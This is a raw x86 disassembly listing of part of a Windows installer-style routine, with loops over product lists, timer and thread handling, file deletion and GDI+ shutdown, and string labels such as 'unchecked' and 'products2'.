call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43d27c
jmp 0x43d366
lea esi, [eax + 4]
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
xor edi, edi
cdq
idiv ecx
test eax, eax
jbe 0x43d366
call fcn.00430580
push 0xf
cdq
pop ecx
idiv ecx
mov eax, dword [ebp - 0x150]
push edi
lea ebx, [edx + eax]
call fcn.00407fd1
add dword [ebp - 0x150], 0x3c
push edi
mov dword [eax + 0xfc], ebx
call fcn.00407fd1
push eax
push 0x43b1cb
call fcn.00440807
push edi
mov ebx, eax
call fcn.00407fd1
push edi
mov dword [eax + 0xc4], ebx
call fcn.00407fd1
mov eax, dword [eax + 0xc4]
mov edx, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x154]
mov dword [ecx + edx*4], eax
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc dword [ebp - 0x13c]
inc edi
cmp edi, eax
jb 0x43d2ec
mov esi, dword [ebp - 0x148]
call fcn.004082ca
jmp 0x43d1c0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x150]
imul ecx, ecx, 0x3e8
add eax, ecx
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0xa0]
test eax, eax
je 0x43d3a6
dec eax
lea ecx, [ebp - 0xb4]
call fcn.00401937
sub esp, 0x1c
lea eax, [ebp - 0xb4]
mov esi, esp
mov dword [ebp - 0x148], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x178]
call fcn.0043ed02
mov ecx, esp
mov byte [ebp - 4], 0x49
mov dword [ebp - 0x148], esp
push eax
push str.unchecked
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push 0
push 1
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x46
call fcn.0040172c
xor eax, eax
lea edi, [ebp - 0x148]
stosb byte es:[edi], al
push dword [ebp - 0x148]
lea eax, [ebp - 0x98]
push str.checks2
call fcn.004098da
lea eax, [ebp - 0x98]
push eax
lea edi, [ebp - 0x138]
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x4a
call fcn.00409842
movzx eax, byte [eax]
neg eax
sbb eax, eax
test eax, method.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.virtual_52
setne bl
cmp byte [ebp - 0x138], 0
je 0x43d458
mov byte [ebp - 0x138], 0
xor edi, edi
push edi
push 1
lea esi, [ebp - 0x98]
mov byte [ebp - 4], 0x46
call fcn.0040115a
test bl, bl
je 0x43d477
mov byte [0x467501], 1
lea ecx, [ebp - 0x10c]
call fcn.00437582
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x436715
call fcn.00440807
mov dword [ebp - 0x150], eax
mov eax, dword [0x467550]
sub eax, dword [0x46754c]
push 0x24
cdq
pop ecx
idiv ecx
test eax, eax
je 0x43d663
push edi
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x20], 0xf
call fcn.004017f3
mov byte [ebp - 4], 0x4b
mov eax, dword [0x467550]
sub eax, dword [0x46754c]
push 0x24
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x140], edi
test eax, eax
jbe 0x43d5f9
push dword [ebp - 0x140]
and dword [ebp - 0x148], 0
mov ebx, 0x467540
mov esi, ebx
call fcn.004080b0
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
mov edi, 0x104
cdq
mov ecx, edi
idiv ecx
test eax, eax
jbe 0x43d5d4
push 0x450484
push dword [ebp - 0x148]
mov esi, ebx
push dword [ebp - 0x140]
call fcn.004080b0
mov esi, eax
add esi, 4
call fcn.00407fd1
sub esp, 0x1c
add eax, 0x70
mov esi, esp
mov dword [ebp - 0x134], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x1a0]
call fcn.0043ed02
add esp, 0x1c
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x4c
call fcn.00407382
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0x4d
call fcn.00407b61
push 0
push 1
lea ecx, [ebp - 0x178]
call fcn.0040172c
push 0
push 1
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x4b
call fcn.0040172c
push dword [ebp - 0x140]
inc dword [ebp - 0x148]
mov esi, ebx
call fcn.004080b0
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, edi
idiv ecx
cmp dword [ebp - 0x148], eax
jb 0x43d51b
mov eax, dword [0x467550]
sub eax, dword [0x46754c]
push 0x24
cdq
pop ecx
idiv ecx
inc dword [ebp - 0x140]
cmp dword [ebp - 0x140], eax
jb 0x43d4e5
jmp 0x43d5fe
mov ebx, 0x467540
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x43d62c
lea eax, [ecx - 1]
cmp eax, ecx
ja 0x43d619
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x38]
call fcn.004014a5
jmp 0x43d62c
mov ebx, eax
push 0
sub ebx, ecx
lea edi, [ebp - 0x38]
call fcn.0040724d
mov ebx, 0x467540
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x134], esp
lea ecx, [ebp - 0x38]
push ecx
push str.products2
push eax
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push 0
push 1
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x46
call fcn.0040172c
jmp 0x43d668
mov ebx, 0x467540
mov eax, dword [0x4674cc]
push 1
call fcn.004300d7
call fcn.00430196
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub dword [ebp - 0x158], eax
jns 0x43d68b
xor ecx, ecx
jmp 0x43d69c
mov eax, dword [ebp - 0x158]
mov ecx, 0x3e8
xor edx, edx
div ecx
mov ecx, eax
and dword [ebp - 0xbc], 0
xor eax, eax
mov dword [ebp - 0xb8], 7
mov word [ebp - 0xcc], ax
mov byte [ebp - 4], 0x4e
mov eax, dword [0x467550]
sub eax, dword [0x46754c]
push 0x24
cdq
pop esi
idiv esi
test eax, eax
je 0x43d9f3
lea esi, [ebp - 0x24]
mov edi, ebx
mov dword [ebp - 0x158], ecx
mov byte [ebp - 0x12d], 1
call fcn.00408094
mov ecx, dword [eax]
mov eax, dword [eax + 4]
lea esi, [ebp - 0x144]
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x148], eax
call fcn.0040b0de
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], eax
test ecx, ecx
je 0x43d723
cmp ecx, dword [ebp - 0x14c]
je 0x43d728
call fcn.0041bb1c
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x148]
je 0x43d7a5
lea esi, [ebp - 0x138]
call fcn.004082a2
mov edi, eax
lea esi, [ebp - 0x94]
call fcn.00407cc6
cmp byte [ebp - 0x78], 0
je 0x43d75d
cmp dword [ebp - 0x74], 0x1f40
jl 0x43d787
lea esi, [ebp - 0x90]
call fcn.00408618
push dword [ebp - 0x90]
call fcn.0041b531
pop ecx
lea esi, [ebp - 0x138]
call fcn.004082ca
mov ecx, dword [ebp - 0x138]
jmp 0x43d717
lea esi, [ebp - 0x90]
mov byte [ebp - 0x12d], 0
call fcn.00408618
push dword [ebp - 0x90]
call fcn.0041b531
pop ecx
mov dword [ebp - 0x140], ebx
lea eax, [ebp - 0x140]
lea ebx, [ebp - 0x138]
call fcn.004099b0
mov eax, ebx
mov dword [ebp - 0x148], eax
lea eax, [ebp - 0x140]
lea ebx, [ebp - 0x24]
call fcn.004099d2
mov esi, dword [ebp - 0x148]
lea edi, [ebp - 0x24]
call fcn.004099f4
test al, al
jne 0x43d985
call fcn.004082a2
cmp byte [eax + 0x1c], 0
mov ecx, 0x104
jne 0x43d86c
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43d975
push 0x4504bc
push ebx
mov esi, edi
call fcn.00407fd1
add eax, 0x70
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.00403075
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0xd0]
mov byte [ebp - 4], 0x4f
call fcn.004023f0
push 0
push 1
lea esi, [ebp - 0x178]
mov byte [ebp - 4], 0x4e
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43d80e
jmp 0x43d975
cmp byte [ebp - 0x12d], 0
je 0x43d8e9
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43d975
push 0x4504bc
push ebx
mov esi, edi
call fcn.00407fd1
add eax, 0x70
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.00403075
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0xd0]
mov byte [ebp - 4], 0x50
call fcn.004023f0
push 0
push 1
lea esi, [ebp - 0x178]
mov byte [ebp - 4], 0x4e
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43d88b
jmp 0x43d975
lea esi, [eax + 4]
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
xor edi, edi
cdq
idiv ecx
test eax, eax
jbe 0x43d975
call fcn.00430580
push 0xf
cdq
pop ecx
idiv ecx
mov eax, dword [ebp - 0x158]
push edi
lea ebx, [edx + eax]
call fcn.00407fd1
add dword [ebp - 0x158], 0x3c
push edi
mov dword [eax + 0xfc], ebx
call fcn.00407fd1
push eax
push 0x43b1cb
call fcn.00440807
push edi
mov ebx, eax
call fcn.00407fd1
push edi
mov dword [eax + 0xc4], ebx
call fcn.00407fd1
mov eax, dword [eax + 0xc4]
mov edx, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x154]
mov dword [ecx + edx*4], eax
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc dword [ebp - 0x13c]
inc edi
cmp edi, eax
jb 0x43d8fb
mov esi, dword [ebp - 0x148]
call fcn.004082ca
jmp 0x43d7d2
mov eax, dword [ebp - 0xbc]
test eax, eax
je 0x43d99b
dec eax
lea ecx, [ebp - 0xd0]
call fcn.00401937
sub esp, 0x1c
lea eax, [ebp - 0xd0]
mov esi, esp
mov dword [ebp - 0x134], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x178]
call fcn.0043ed02
mov ecx, esp
mov byte [ebp - 4], 0x51
mov dword [ebp - 0x134], esp
push eax
push str.unchecked2
push ecx
call fcn.00407337
add esp, 0xc
call fcn.00430ad8
add esp, 0x1c
push 0
push 1
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x4e
call fcn.0040172c
push dword [ebp - 0x150]
call fcn.004407da
push dword [ebp - 0x150]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
cmp byte [0x45fccc], 0
jne 0x43da38
cmp dword [0x45ff70], 0
je 0x43da38
cmp dword [0x45ff74], 8
mov eax, dword [0x45ff60]
jae 0x43da31
mov eax, 0x45ff60
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [0x4673cc]
call fcn.0041bda7
pop ecx
push dword [0x4673c8]
call fcn.0041b531
mov esi, dword [sym.imp.USER32.dll_KillTimer]
pop ecx
push dword [0x4673bc]
push dword [0x4673c0]
call esi
mov eax, dword [0x4673b8]
push dword [0x4673b0]
mov eax, dword [eax + 4]
push eax
call esi
xor esi, esi
cmp dword [ebp - 0xa0], esi
je 0x43daaf
push 1
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x134], esp
lea ecx, [ebp - 0xb4]
push ecx
push str._unchecked_install_products
push eax
call fcn.004031bc
add esp, 0xc
call fcn.004358ff
add esp, 0x20
cmp dword [ebp - 0xbc], esi
je 0x43dae1
push 1
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x134], esp
lea ecx, [ebp - 0xd0]
push ecx
push str._unchecked_install_products2
push eax
call fcn.004031bc
add esp, 0xc
call fcn.004358ff
add esp, 0x20
push dword [ebp - 0x154]
push dword [ebp - 0x13c]
call fcn.0044077d
push dword [ebp - 0x154]
call fcn.0041b531
add esp, 0xc
push 0xffffffffffffffff
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x12c]
call edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x134], esp
push str.closed
call fcn.004018a5
call fcn.00430ad8
add esp, 0x1c
push dword [0x467438]
call sub.gdiplus.dll_GdiplusShutdown
push esi
jmp 0x43d055